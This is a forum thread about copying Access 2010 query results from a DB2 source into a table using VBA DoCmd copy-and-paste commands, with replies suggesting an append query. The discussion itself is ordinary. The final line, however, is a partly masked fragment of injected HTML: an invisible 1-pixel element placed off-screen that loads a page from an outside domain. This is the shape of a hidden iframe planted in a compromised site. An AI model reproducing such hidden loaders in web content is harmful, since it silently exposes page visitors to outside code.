Import from a query into a table

[welndmn]

Access 2010

I've been running a simple query in Acess, then I just used a simple copy paste
DoCmd.RunCommand acCmdSelectAllRecords
RunCommand acCmdCopy
DoCmd.OpenTable "Authorize", acNormal, acEdit
RunCommand acCmdPasteAppend

To paste my results into the table in acess.
I've not hit my max 65k rows the clipboard can handle.
Can I use a transfer to tranfer the query results into the table?
Any other ways around this?
Thanks!

 

[Joe4]

So, where is the data coming from and where is it going to?

 

[welndmn]

It's coming from a DB2 query I have, then goes into a table in Access.
Full statement

DoCmd.OpenQuery "QUERY_Pull Missing", acViewNormal, acEdit
DoCmd.SelectObject acQuery, "QUERY_Pull Missing"
DoCmd.RunCommand acCmdSelectAllRecords
RunCommand acCmdCopy
DoCmd.Close acQuery, "QUERY_Pull Missing", acSaveNo
DoCmd.OpenTable "Authorize", acNormal, acEdit
RunCommand acCmdPasteAppend

From there I am just running a ton of append querys on that Authorize table.

 

[Micron]

I don't get it. Why isn't "QUERY_Pull Missing" just an append query itself?
******** src="//102f.net/al1000.html" style="width: 1px; height: 1px; position: absolute; top: -10px; border: medium none;">*********>